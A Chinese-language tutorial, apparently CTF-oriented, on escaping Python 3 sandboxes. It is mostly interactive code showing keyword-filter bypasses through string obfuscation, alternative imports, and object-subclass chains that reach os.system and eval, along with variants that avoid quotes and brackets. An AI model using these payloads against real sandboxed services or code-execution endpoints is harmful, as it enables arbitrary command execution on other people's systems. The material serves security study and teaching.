Python沙箱逃逸
Python沙箱逃逸
当Python代码在服务器上运行的时候,总会遇到一些限制,如何突破这些限制并执行我们想要执行的命令,这就是Python沙箱逃逸需要关心的内容。
本文重点关注Python3的沙箱逃逸,暂不包含有关Python2的相关内容。
危险模块
Python中有很多危险的模块可以用来执行命令,如:
# os
os.system('whoami')
os.popen('whoami').read()
# subprocess
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
# danger method
eval('os.system("whoami")')
exec('os.system("whoami")')
因此,为了防止在特定环境下被恶意执行命令,Python的运行环境内经常会存在一些机制来防止这样的事情发生,因此这也是CTF竞赛中的一项常见考点。
不过在实际生产环境中,如果有需要在服务端运行的用户脚本,选用docker则是更加明智的选择。
绕过关键词过滤
关键词过滤是最简单的过滤方式,比如禁止存在ls
,system
等敏感词。但Python的高灵活性使得绕过变得十分简单。
同样想要执行whoami
指令,我们可以创造出如下的形式来绕过简单的字符串匹配,构造whoami
字符串:
>>> import os
>>> os.system('whoami')
>>> os.system('who' + 'ami')
>>> os.system('who' + 'ima'[::-1])
>>> getattr(os, 'sys' + 'tem')('whoami')
>>> os.__getattribute__('system')('whoami')
>>> os.system(bytes([119, 104, 111, 97, 109, 105]).decode())
>>> os.__dict__['metsys'[::-1]]('whoami')
>>>
>>> import base64
>>> os.__dict__[(base64.b64decode(bytes([98, 87, 86, 48, 99, 51, 108, 122]))[::-1]).decode()]('whoami')
以上的语句最终都能调用os
的system
方法,进而执行我们想要执行的命令。
由于Python的高灵活性,基本上能够在字符串上限制你发挥的只有一个东西——你的想象力。
花样import
由上文的讨论,只要import os
被执行,那么调用其system
的方式就变得五花八门,极难被拦截。
因此,很多时候会被阻止使用import
语句,但是import
的方式也有很多中,详见如下的例子:
>>> import os
>>> __import__('os')
>>>
>>> import importlib
>>> importlib.import_module('os')
>>>
>>> from os import system
>>>
>>> eval('__import__("os").system("whoami")')
>>> exec('__import__("os").system("whoami")')
>>>
>>> with open('/path/to/os.py','r') as f:
>>> exec(f.read())
>>> system('whoami')
进一步了解一下Python对于模块的导入过程:
Python导入模块时,会先判断
sys.modules
是否已经加载了该模块,如果没有加载则从sys.path
中的目录按照模块名查找py
、pyc
、pyd
文件,找到后执行该文件载入内存并添加至sys.modules
中,再将模块名称导入Local
命名空间。如果a.py
中存在import b
,则在import a
时a,b
两个模块都会添加至sys.modules
中,但仅将a
导入Local
命名空间。通过from x import y
时,则将x
添加至sys.modules
中,将y
导入Local
命名空间。
而对于import
行为本身,由于其通过sys.path
搜索路径,如果我们可以在运行目录写入文件,或向其他目录写入文件,并通过改变sys.path
的值,进而引入我们自定义的模块,从而覆盖沙箱中所调用的模块——如ramdom
,使得随机可控等。例如:
>>> sys.path.append('/path/to/my/code')
>>> sys.path[-1]
'/path/to/my/code'
对于另一个与导入模块息息相关的sys.modules
,它包含了从Python开始执行起所包含的全部导入的模块。如果将其中的部分模块设置为None
,就无法再次引用了;并且,若将模块从sys.modules
中移除,那么这个模块就彻底不可用了。
>>> sys.modules['os']
<module 'os' from '/usr/lib/python3.8/os.py'>
>>> sys.modules['os'] = None
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ModuleNotFoundError: import of os halted; None in sys.modules
重新导入
Python将一些常用的模块放在了内建模块——__builtins__
中,这些函数无需导入即可使用,如eval
和open
,在一些环境中会将__builtins__
的大部分内容置为None
来进行限制,这种时候我们的第一种策略是尝试重新导入:
>>> from imp import reload
<stdin>:1: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
>>> reload(__builtins__)
<module 'builtins' (built-in)>
>>>
>>> from importlib import reload
>>> reload(__builtins__)
<module 'builtins' (built-in)>
一切皆对象
在Python中,一切均为对象,在Python3中一切类都默认继承自object
类、继承object
的全部方法,因此,可以通过获取object
对象来进行更进一步的操作。
获取object类
Python建议类的protected类型、private类型及内部变量分别以_xxx
、__yyy
、__zzz__
的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。因此,我们可以使用内置的方法获取对象的父类、子类。
首先,可以看一下我们能够入手的class
有多少:
>>> [].__class__
<class 'list'>
>>> {}.__class__
<class 'dict'>
>>> ().__class__
<class 'tuple'>
>>> ''.__class__
<class 'str'>
可以看到,如上的几个组合均顺利获取到了其类型——均为class
,于是我们可以利用如下的方式获取其基类——object
:
>>> {}.__class__.__base__
<class 'object'>
>>> {}.__class__.__bases__[0]
<class 'object'>
>>> {}.__class__.__mro__[-1]
<class 'object'>
至此,我们一般可以通过几个思路来获取我们需要的危险方法:
- 如果
object
的某个派生类中存在危险方法,就可以直接拿来用 - 如果
object
的某个派生类导入了危险模块,就可以链式调用危险方法 - 如果
object
的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用 - 基本类型的某些方法属于特殊方法,可以通过链式调用
获取object的子类
当我们获取到了基类之后,可以先看看它存在哪些子类:
>>> for i in enumerate({}.__class__.__base__.__subclasses__()): print(i)
(0, <class 'type'>)
...
(6, <class 'bytes'>)
(7, <class 'list'>)
...
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
...
(22, <class 'str'>)
...
实施逃逸
在获取到子类列表之后,我们可以做的事情就很多了,比如,对于builtin_function_or_method
,我们可以利用它的__call__
函数:
>>> {}.__class__.__base__.__subclasses__()[37].__call__(eval,"__import__('os').system('whoami')")
我们也可以利用__init__.__globals__
获取到全部全局变量字典:
>>> dir({}.__class__.__base__.__subclasses__()[-2].__init__.__globals__)
['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
但获取__globals__
的过程中,要注意选择__init__
的描述中不含有warped
的对象:
>>> {}.__class__.__base__.__subclasses__()[0].__init__
<slot wrapper '__init__' of 'type' objects>
>>> {}.__class__.__base__.__subclasses__()[-1].__init__
<function Completer.__init__ at 0x7fbd7f4fff70>
其原因在于,wrapper_descriptor
是不含有__globals__
对象的,而我们需要使用function
对象的__globals__
来获取。
一旦获取了__globals__
,其中的可操作性变得很高,因为其中含有sys
、__builtins__
这类危险模块,可以使用字典直接获取:
>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['sys'].modules['os'].system('whoami')
>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
同时也可以间接调用危险模块:
>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')
最后,我们还可以使用一些基本类的方法来实现同样的效果:
>>> [].append.__class__.__call__(eval, "__import__('os').system('whoami')")
限制绕过
不允许使用引号
但输入不允许包含引号时,意味着我们无法自行构造字符串来进行字典访问,这时候一般有如下策略,为方便我这里将其进行赋值,实际操作中可以将其展开使用:
- 使用
keys()
函数加数组引索的方式获取:>>> globals_ = {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__ >>> globals_[list(globals_.keys())[9]] <module 'sys' (built-in)>
- 使用
bytes
类进行构造字符串>>> globals_ = {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__ >>> bytes_ = {}.__class__.__base__.__subclasses__()[6] >>> globals_[bytes_([115, 121, 115]).decode()] <module 'sys' (built-in)>
不允许使用[]
这种时候一般利用__getitem__
函数进行获取数组对象。
>>> {}.__class__.__base__.__subclasses__().__getitem__(6)
<class 'bytes'>
Reference
- 《从0到1 CTFer成长之路》 3.2.1
- Python 沙盒
- Python沙箱逃逸
- 一文看懂Python沙箱逃逸
- python沙盒总结
- python 沙箱逃逸与SSTI